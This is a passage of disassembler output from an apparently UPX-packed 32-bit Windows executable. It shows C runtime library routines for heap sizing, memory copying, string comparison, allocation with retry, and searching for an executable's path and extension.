		call	__SEH_prolog4
		xor	eax, eax
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		cmp	ebx, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_40E69E
		call	sub_40C862
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40E6F1
; ---------------------------------------------------------------------------


loc_40E69E:				; CODE XREF: sub_40E665+1Aj
		cmp	dword_430290, 3
		jnz	short loc_40E6DF
		push	4
		call	sub_40CFA9
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_40CFDC
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_40E6CB
		mov	esi, [ebx-4]
		sub	esi, 9
		mov	[ebp+var_1C], esi
		jmp	short loc_40E6CE
; ---------------------------------------------------------------------------


loc_40E6CB:				; CODE XREF: sub_40E665+59j
		mov	esi, [ebp+var_1C]


loc_40E6CE:				; CODE XREF: sub_40E665+64j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40E6FF
		cmp	[ebp+var_20], edi
		jnz	short loc_40E6EF


loc_40E6DF:				; CODE XREF: sub_40E665+40j
		push	ebx
		push	edi
		push	dword_42E724
		call	dword_41D16C	; RtlSizeHeap
		mov	esi, eax


loc_40E6EF:				; CODE XREF: sub_40E665+78j
		mov	eax, esi


loc_40E6F1:				; CODE XREF: sub_40E665+37j
		call	__SEH_epilog4
		retn
sub_40E665	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E6F7	proc near		; DATA XREF: UPX0:004269C8o
		xor	edi, edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_40E6F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E6FF	proc near		; CODE XREF: sub_40E665+70p
		push	4
		call	sub_40CECF
		pop	ecx
		retn
sub_40E6FF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E710	proc near		; CODE XREF: sub_40B376+45p
					; sub_40B8A1+A5p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40E730
		cmp	edi, eax
		jb	loc_40E8D4


loc_40E730:				; CODE XREF: sub_40E710+16j
		cmp	ecx, 100h
		jb	short loc_40E757
		cmp	dword_430144, 0
		jz	short loc_40E757
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_40E757
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_41350E
; ---------------------------------------------------------------------------


loc_40E757:				; CODE XREF: sub_40E710+26j
					; sub_40E710+2Fj ...
		test	edi, 3
		jnz	short loc_40E774
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40E794
		rep movsd
		jmp	off_40E884[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E774:				; CODE XREF: sub_40E710+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40E78C
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40E794+4[eax*4]
; ---------------------------------------------------------------------------


loc_40E78C:				; CODE XREF: sub_40E710+6Ej
		jmp	dword ptr loc_40E894[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E794:				; CODE XREF: sub_40E710+58j
					; sub_40E710+B6j ...
		jmp	off_40E818[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40E7A8
		dd offset loc_40E7D4
		dd offset loc_40E7F8
; ---------------------------------------------------------------------------


loc_40E7A8:				; DATA XREF: sub_40E710+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40E794
		rep movsd
		jmp	off_40E884[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E7D4:				; DATA XREF: sub_40E710+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40E794
		rep movsd
		jmp	off_40E884[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E7F8:				; DATA XREF: sub_40E710+94o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_40E794
		rep movsd
		jmp	off_40E884[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40E818	dd offset loc_40E87B	; DATA XREF: sub_40E710:loc_40E794r
		dd offset loc_40E868
		dd offset loc_40E860
		dd offset loc_40E858
		dd offset loc_40E850
		dd offset loc_40E848
		dd offset loc_40E840
		dd offset loc_40E838
; ---------------------------------------------------------------------------


loc_40E838:				; CODE XREF: sub_40E710:loc_40E794j
					; DATA XREF: sub_40E710+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40E840:				; CODE XREF: sub_40E710:loc_40E794j
					; DATA XREF: sub_40E710+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40E848:				; CODE XREF: sub_40E710:loc_40E794j
					; DATA XREF: sub_40E710+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40E850:				; CODE XREF: sub_40E710:loc_40E794j
					; DATA XREF: sub_40E710+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40E858:				; CODE XREF: sub_40E710:loc_40E794j
					; DATA XREF: sub_40E710+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40E860:				; CODE XREF: sub_40E710:loc_40E794j
					; DATA XREF: sub_40E710+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40E868:				; CODE XREF: sub_40E710:loc_40E794j
					; DATA XREF: sub_40E710+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40E87B:				; CODE XREF: sub_40E710:loc_40E794j
					; DATA XREF: sub_40E710:off_40E818o
		jmp	off_40E884[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40E884	dd offset loc_40E894	; DATA XREF: sub_40E710+5Cr
					; sub_40E710+BAr ...
		dd offset loc_40E89C
		dd offset loc_40E8A8
		dd offset loc_40E8BC
; ---------------------------------------------------------------------------


loc_40E894:				; CODE XREF: sub_40E710+5Cj
					; sub_40E710+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40E89C:				; CODE XREF: sub_40E710+5Cj
					; sub_40E710+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40E8A8:				; CODE XREF: sub_40E710+5Cj
					; sub_40E710+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40E8BC:				; CODE XREF: sub_40E710+5Cj
					; sub_40E710+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40E8D4:				; CODE XREF: sub_40E710+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40E908
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40E8FC
		std
		rep movsd
		cld
		jmp	off_40EA20[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E8FC:				; CODE XREF: sub_40E710+1DDj
					; sub_40E710+238j ...
		neg	ecx
		jmp	off_40E9D0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E908:				; CODE XREF: sub_40E710+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40E920
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40E920+4[eax*4]
; ---------------------------------------------------------------------------


loc_40E920:				; CODE XREF: sub_40E710+202j
					; DATA XREF: sub_40E710+209r
		jmp	off_40EA20[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40E933+1
		dd offset loc_40E958
; ---------------------------------------------------------------------------
		sub	cl, 40h


loc_40E933:				; DATA XREF: sub_40E710+218o
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_40E8FC
		std
		rep movsd
		cld
		jmp	off_40EA20[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40E958:				; DATA XREF: sub_40E710+21Co
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40E8FC
		std
		rep movsd
		cld
		jmp	off_40EA20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40E8FC
		std
		rep movsd
		cld
		jmp	off_40EA20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40E9D4
		dd offset loc_40E9DC
		dd offset loc_40E9E4
		dd offset loc_40E9EC
		dd offset loc_40E9F4
		dd offset loc_40E9FC
		dd offset loc_40EA04
off_40E9D0	dd offset loc_40EA17	; DATA XREF: sub_40E710+1EEr
; ---------------------------------------------------------------------------


loc_40E9D4:				; DATA XREF: sub_40E710+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40E9DC:				; DATA XREF: sub_40E710+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_40E9E4:				; DATA XREF: sub_40E710+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40E9EC:				; DATA XREF: sub_40E710+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_40E9F4:				; DATA XREF: sub_40E710+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40E9FC:				; DATA XREF: sub_40E710+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_40EA04:				; DATA XREF: sub_40E710+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40EA17:				; CODE XREF: sub_40E710+1EEj
					; DATA XREF: sub_40E710:off_40E9D0o
		jmp	off_40EA20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40EA20	dd offset loc_40EA30	; DATA XREF: sub_40E710+1E3r
					; sub_40E710:loc_40E920r ...
		dd offset loc_40EA38
		dd offset loc_40EA48
		dd offset loc_40EA5C
; ---------------------------------------------------------------------------


loc_40EA30:				; CODE XREF: sub_40E710+1E3j
					; sub_40E710:loc_40E920j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40EA38:				; CODE XREF: sub_40E710+1E3j
					; sub_40E710:loc_40E920j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40EA48:				; CODE XREF: sub_40E710+1E3j
					; sub_40E710:loc_40E920j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40EA5C:				; CODE XREF: sub_40E710+1E3j
					; sub_40E710:loc_40E920j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40E710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA75	proc near		; CODE XREF: sub_40B3F3+9p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_4269D0
		call	__SEH_prolog4
		push	0Eh
		call	sub_40CFA9
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_40EAC6
		mov	eax, dword_42EBE4
		mov	edx, offset dword_42EBE0


loc_40EAA1:				; CODE XREF: sub_40EA75+65j
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_40EAB9
		cmp	[eax], ecx
		jnz	short loc_40EAD8
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40EAB9:				; CODE XREF: sub_40EA75+31j
		push	dword ptr [esi+4]
		call	sub_40ADC8
		pop	ecx
		and	dword ptr [esi+4], 0


loc_40EAC6:				; CODE XREF: sub_40EA75+20j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40EADC
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_40EAD8:				; CODE XREF: sub_40EA75+35j
		mov	edx, eax
		jmp	short loc_40EAA1
sub_40EA75	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EADC	proc near		; CODE XREF: sub_40EA75+58p
					; DATA XREF: UPX0:004269E8o
		push	0Eh
		call	sub_40CECF
		pop	ecx
		retn
sub_40EADC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40EAF0	proc near		; CODE XREF: sub_40B424+10p
					; sub_4101FD+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_40EB3C


loc_40EB00:				; CODE XREF: sub_40EAF0+3Cj
					; sub_40EAF0+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_40EB34
		or	al, al
		jz	short loc_40EB30
		cmp	ah, [ecx+1]
		jnz	short loc_40EB34
		or	ah, ah
		jz	short loc_40EB30
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_40EB34
		or	al, al
		jz	short loc_40EB30
		cmp	ah, [ecx+3]
		jnz	short loc_40EB34
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_40EB00
		mov	edi, edi


loc_40EB30:				; CODE XREF: sub_40EAF0+18j
					; sub_40EAF0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40EB34:				; CODE XREF: sub_40EAF0+14j
					; sub_40EAF0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAF0+Ej
		test	edx, 1
		jz	short loc_40EB5C
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_40EB34
		add	ecx, 1
		or	al, al
		jz	short loc_40EB30
		test	edx, 2
		jz	short loc_40EB00


loc_40EB5C:				; CODE XREF: sub_40EAF0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_40EB34
		or	al, al
		jz	short loc_40EB30
		cmp	ah, [ecx+1]
		jnz	short loc_40EB34
		or	ah, ah
		jz	short loc_40EB30
		add	ecx, 2
		jmp	short loc_40EB00
sub_40EAF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB78	proc near		; CODE XREF: sub_40B5BD+15p
					; sub_40EF6F+11p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0040EC7D SIZE 00000019 BYTES

		push	0Ch
		push	offset dword_4269F0
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		xor	edi, edi
		cmp	ecx, edi
		jbe	short loc_40EBBB
		push	0FFFFFFE0h
		pop	eax
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		sbb	eax, eax
		inc	eax
		jnz	short loc_40EBBB
		call	sub_40C862
		mov	dword ptr [eax], 0Ch
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h


loc_40EBB4:				; CODE XREF: sub_40EB78+E6j
					; sub_40EB78+F2j
		xor	eax, eax
		jmp	loc_40EC90
; ---------------------------------------------------------------------------


loc_40EBBB:				; CODE XREF: sub_40EB78+13j
					; sub_40EB78+22j
		imul	ecx, [ebp+arg_4]
		mov	esi, ecx
		mov	[ebp+arg_0], esi
		cmp	esi, edi
		jnz	short loc_40EBCB
		xor	esi, esi
		inc	esi


loc_40EBCB:				; CODE XREF: sub_40EB78+4Ej
					; sub_40EB78+DBj
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	short loc_40EC3E
		cmp	dword_430290, 3
		jnz	short loc_40EC29
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_430280
		ja	short loc_40EC29
		push	4
		call	sub_40CFA9
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_0]
		call	sub_40D7BB
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40EC74
		mov	ebx, [ebp+var_1C]
		cmp	ebx, edi
		jz	short loc_40EC2D
		push	[ebp+arg_0]
		push	edi
		push	ebx
		call	sub_40BD40
		add	esp, 0Ch


loc_40EC29:				; CODE XREF: sub_40EB78+64j
					; sub_40EB78+78j
		cmp	ebx, edi
		jnz	short loc_40EC8E


loc_40EC2D:				; CODE XREF: sub_40EB78+A2j
		push	esi
		push	8
		push	dword_42E724
		call	dword_41D0D4	; RtlAllocateHeap
		mov	ebx, eax


loc_40EC3E:				; CODE XREF: sub_40EB78+5Bj
		cmp	ebx, edi
		jnz	short loc_40EC8E
		cmp	dword_42EBC8, edi
		jz	short loc_40EC7D
		push	esi
		call	sub_40DFCB
		pop	ecx
		test	eax, eax
		jnz	loc_40EBCB
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	loc_40EBB4
		mov	dword ptr [eax], 0Ch
		jmp	loc_40EBB4
sub_40EB78	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC6F	proc near		; DATA XREF: UPX0:00426A08o
		xor	edi, edi
		mov	esi, [ebp+0Ch]
sub_40EC6F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EC74	proc near		; CODE XREF: sub_40EB78+98p
		push	4
		call	sub_40CECF
		pop	ecx
		retn
sub_40EC74	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EB78


loc_40EC7D:				; CODE XREF: sub_40EB78+D0j
		cmp	ebx, edi
		jnz	short loc_40EC8E
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	short loc_40EC8E
		mov	dword ptr [eax], 0Ch


loc_40EC8E:				; CODE XREF: sub_40EB78+B3j
					; sub_40EB78+C8j ...
		mov	eax, ebx


loc_40EC90:				; CODE XREF: sub_40EB78+3Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40EB78

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40ED0F+122p
					; sub_40ED0F+1EEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_0], esi
		jnz	short loc_40ECC2


loc_40ECA5:				; CODE XREF: sub_40EC96+2Fj
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h


loc_40ECBD:				; CODE XREF: sub_40EC96+4Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40ED0C
; ---------------------------------------------------------------------------


loc_40ECC2:				; CODE XREF: sub_40EC96+Dj
		cmp	[ebp+arg_4], esi
		jz	short loc_40ECA5
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_413E93
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40ECBD
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	2
		call	sub_413C84
		push	[ebp+var_4]
		mov	esi, eax
		call	sub_40ADC8
		push	[ebp+var_8]
		call	sub_40ADC8
		add	esp, 18h
		mov	eax, esi


loc_40ED0C:				; CODE XREF: sub_40EC96+2Aj
		pop	esi
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED0F	proc near		; CODE XREF: sub_40B5FD+41p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	[ebp+var_4], edi
		cmp	edi, ebx
		jnz	short loc_40ED45


loc_40ED25:				; CODE XREF: sub_40ED0F+38j
					; sub_40ED0F+3Fj ...
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40EF26
; ---------------------------------------------------------------------------


loc_40ED45:				; CODE XREF: sub_40ED0F+14j
		cmp	[edi], bl
		jz	short loc_40ED25
		mov	eax, [ebp+arg_4]
		cmp	eax, ebx
		jz	short loc_40ED25
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_40ED25
		cmp	[eax], bl
		jz	short loc_40ED25
		push	esi
		push	5Ch
		push	edi
		call	sub_414484
		push	2Fh
		push	edi
		mov	esi, eax
		call	sub_414484
		add	esp, 10h
		cmp	eax, ebx
		jnz	loc_40EDF9
		cmp	esi, ebx
		jnz	loc_40EE03
		push	3Ah
		push	edi
		call	sub_4143B1
		mov	esi, eax
		pop	ecx
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_40EE03
		push	edi
		call	sub_40BFB0
		mov	esi, eax
		add	esi, 3
		push	1
		push	esi
		call	sub_40EF6F
		mov	edi, eax
		add	esp, 0Ch
		mov	[ebp+var_4], edi
		cmp	edi, ebx
		jz	loc_40EE60
		push	offset a__0	; ".\\"
		push	esi
		push	edi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EDD3
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_40EDD3:				; CODE XREF: sub_40ED0F+B5j
		push	[ebp+arg_0]
		push	esi
		push	edi
		call	sub_4139F9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EDF1
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_40EDF1:				; CODE XREF: sub_40ED0F+D3j
		lea	esi, [edi+2]
		mov	edi, [ebp+arg_0]
		jmp	short loc_40EE03
; ---------------------------------------------------------------------------


loc_40EDF9:				; CODE XREF: sub_40ED0F+63j
		cmp	esi, ebx
		jz	short loc_40EE01
		cmp	eax, esi
		jbe	short loc_40EE03


loc_40EE01:				; CODE XREF: sub_40ED0F+ECj
		mov	esi, eax


loc_40EE03:				; CODE XREF: sub_40ED0F+6Bj
					; sub_40ED0F+7Fj ...
		or	[ebp+var_10], 0FFFFFFFFh
		push	2Eh
		push	esi
		call	sub_414484
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40EE41
		push	ebx
		push	[ebp+var_4]
		call	sub_41426C
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40EF14
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_40EC96
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	loc_40EF14
; ---------------------------------------------------------------------------


loc_40EE41:				; CODE XREF: sub_40ED0F+104j
		push	[ebp+var_4]
		call	sub_40BFB0
		mov	esi, eax
		add	esi, 5
		push	1
		push	esi
		call	sub_40EF6F
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	eax, ebx
		jnz	short loc_40EE68


loc_40EE60:				; CODE XREF: sub_40ED0F+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_40EF25
; ---------------------------------------------------------------------------


loc_40EE68:				; CODE XREF: sub_40ED0F+14Fj
		push	[ebp+var_4]
		push	esi
		push	eax
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EE86
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_40EE86:				; CODE XREF: sub_40ED0F+168j
		push	[ebp+var_4]
		call	sub_40BFB0
		mov	edi, eax
		add	edi, [ebp+var_8]
		pop	ecx
		call	sub_40C862
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_8]
		sub	esi, edi
		add	esi, eax
		mov	[ebp+var_C], offset off_42A3CC


loc_40EEAC:				; CODE XREF: sub_40ED0F+1D7j
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		push	esi
		push	edi
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EECC
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_40EECC:				; CODE XREF: sub_40ED0F+1AEj
		push	ebx
		push	[ebp+var_8]
		call	sub_41426C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40EEEA
		sub	[ebp+var_C], 4
		cmp	[ebp+var_C], offset off_42A3C0
		jge	short loc_40EEAC
		jmp	short loc_40EF08
; ---------------------------------------------------------------------------


loc_40EEEA:				; CODE XREF: sub_40ED0F+1CAj
		call	sub_40C862
		push	[ebp+arg_8]
		mov	ecx, [ebp+var_14]
		push	[ebp+arg_4]
		mov	[eax], ecx
		push	[ebp+var_8]
		call	sub_40EC96
		add	esp, 0Ch
		mov	[ebp+var_10], eax


loc_40EF08:				; CODE XREF: sub_40ED0F+1D9j
		push	[ebp+var_8]
		call	sub_40ADC8
		mov	edi, [ebp+arg_0]
		pop	ecx


loc_40EF14:				; CODE XREF: sub_40ED0F+113j
					; sub_40ED0F+12Dj
		cmp	[ebp+var_4], edi
		jz	short loc_40EF22
		push	[ebp+var_4]
		call	sub_40ADC8
		pop	ecx


loc_40EF22:				; CODE XREF: sub_40ED0F+208j
		mov	eax, [ebp+var_10]


loc_40EF25:				; CODE XREF: sub_40ED0F+154j
		pop	esi


loc_40EF26:				; CODE XREF: sub_40ED0F+31j
		pop	edi
		pop	ebx
		leave
		retn
sub_40ED0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF2A	proc near		; CODE XREF: sub_40CEE6+48p
					; sub_40F83F+7Ep ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	esi, esi


loc_40EF33:				; CODE XREF: sub_40EF2A+3Dj
		push	[ebp+arg_0]
		call	sub_40AEA5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40EF69
		cmp	dword_42EBE8, eax
		jbe	short loc_40EF69
		push	esi
		call	dword_41D080	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, dword_42EBE8
		jbe	short loc_40EF62
		or	eax, 0FFFFFFFFh


loc_40EF62:				; CODE XREF: sub_40EF2A+33j
		mov	esi, eax
